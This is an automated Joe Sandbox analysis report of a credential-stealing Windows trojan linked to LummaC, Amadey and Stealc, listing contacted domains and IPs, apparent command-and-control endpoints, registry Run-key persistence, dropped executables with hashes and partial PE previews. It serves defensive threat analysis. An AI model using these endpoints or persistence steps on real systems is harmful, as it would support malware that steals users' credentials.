https://store.steampowered.com/mobile	file.exe, file.exe, 00000000.00000003.2267291789.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291920296.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367688328.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267704300.000000000069E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279787615.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284921931.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310713522.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://studennotediw.store:443/api=	ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/?subsection=broadcasts	ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/apiBg==.	file.exe, 00000000.00000003.2310713522.00000000006A6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310781573.00000000006B6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://smartblock.firefox.etp/play.svg	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://store.s	file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222112798.00000000006A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37	PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.000000000109E000.00000004.00000020.00020000.00000000.sdmp, 36c3130eac.exe, 0000000D.00000002.2997022588.000000000072E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsCom	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.142	youtube.com	United States	15169	GOOGLEUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540852
Start date and time:	2024-10-24 09:06:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/23@55/9
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.138, 172.217.16.202
Excluded domains from analysis (whitelisted): www.reddit.com, slscr.update.microsoft.com, spocs.getpocket.com, incoming.telemetry.mozilla.org, aus5.mozilla.org, contile.services.mozilla.com, prod.content-signature-chains.prod.webservices.mozgcp.net, content-signature-2.cdn.mozilla.net, support.mozilla.org, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, firefox.settings.services.mozilla.com, prod.ads.prod.webservices.mozgcp.net, push.services.mozilla.com, safebrowsing.googleapis.com, www.youtube.com, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, www.facebook.com, twitter.com, client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, youtube-ui.l.google.com, reddit.map.fastly.net, shavar.services.mozilla.com, www.wikipedia.org, location.services.mozilla.com, telemetry-incoming.r53-2.
Execution Graph export aborted for target A94C1J5VAPFWM1J1FS.exe, PID 3108 because it is empty
Execution Graph export aborted for target PJGT15Z82T6C2GQS.exe, PID 2988 because there are no executed function
Execution Graph export aborted for target file.exe, PID 2532 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1216 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6980 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
03:07:08	API Interceptor	12x Sleep call for process: file.exe modified
03:08:02	API Interceptor	485123x Sleep call for process: skotes.exe modified
03:08:16	API Interceptor	13x Sleep call for process: ee8d47a049.exe modified
03:08:41	API Interceptor	20x Sleep call for process: 36c3130eac.exe modified
03:08:46	API Interceptor	93x Sleep call for process: ZR7XTEYLCJ0IZBOL3C6E.exe modified
03:08:55	API Interceptor	12x Sleep call for process: num.exe modified
09:07:31	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
09:08:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ee8d47a049.exe C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe
09:08:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 36c3130eac.exe C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe
09:08:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 55662d7496.exe C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe
09:08:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001141001\num.exe
09:08:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ee8d47a049.exe C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe
09:09:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 36c3130eac.exe C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe
09:09:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 55662d7496.exe C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe
09:09:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001141001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.53.8	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
185.215.113.43	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
sergei-esenin.com	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
ipv4only.arpa	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
steamcommunity.com	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.102.49.254
	hAyQbTcI0I.exe	Get hash	malicious	Socks5Systemz	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	BT-036016002U_RFQ 014-010-02024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14
	EL-25-536_40005512_Le Cuivre_23102024.vbe	Get hash	malicious	GuLoader	Browse	104.21.70.11
	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	PO-008847332.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.21.53.112
	RFQ_64182MR_PDF.R00.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	Urgent Quotation documents One Pdf.vbs	Get hash	malicious	AgentTesla	Browse	104.26.12.205
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
AKAMAI-ASUS	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.102.49.254
	hAyQbTcI0I.exe	Get hash	malicious	Socks5Systemz	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	104.107.128.1
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.21.53.8 104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6BWDEAM9H4119O8P9KYSM4M710Q.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Z72A5QS1XOE2OWTBBJM669OT.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1854464
Entropy (8bit):	7.947723498064361
Encrypted:	false
SSDEEP:	49152:QaWIelCd4Q3JYPh9rF4w5vt8J/UmG3WQh7X4:QaWIec3CHiwZqJ/IWqL
MD5:	C4D992E32DABD4723370D920A842D759
SHA1:	E2BA688CB7D4A7C88C964EC875E62529D63057C7
SHA-256:	FC379207EC04489AB7610663A20EFA6827C0FF39C842335048FCCC15F202C447
SHA-512:	EC911F4AE4534824E15A584CCD1C181270640E2B8367A6F59BF0F49FCE158DE0A1E4EB60ABB10EDCD7A3BD0E7E86C84D44AF5D90F925D4AD7C77448658B5D5F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0j...........@..........................`j......"....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .P...%......:..............@...wyvqzkuk.....0P......<..............@...kejrglww..... j......&..............@....taggant.0...0j..".................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

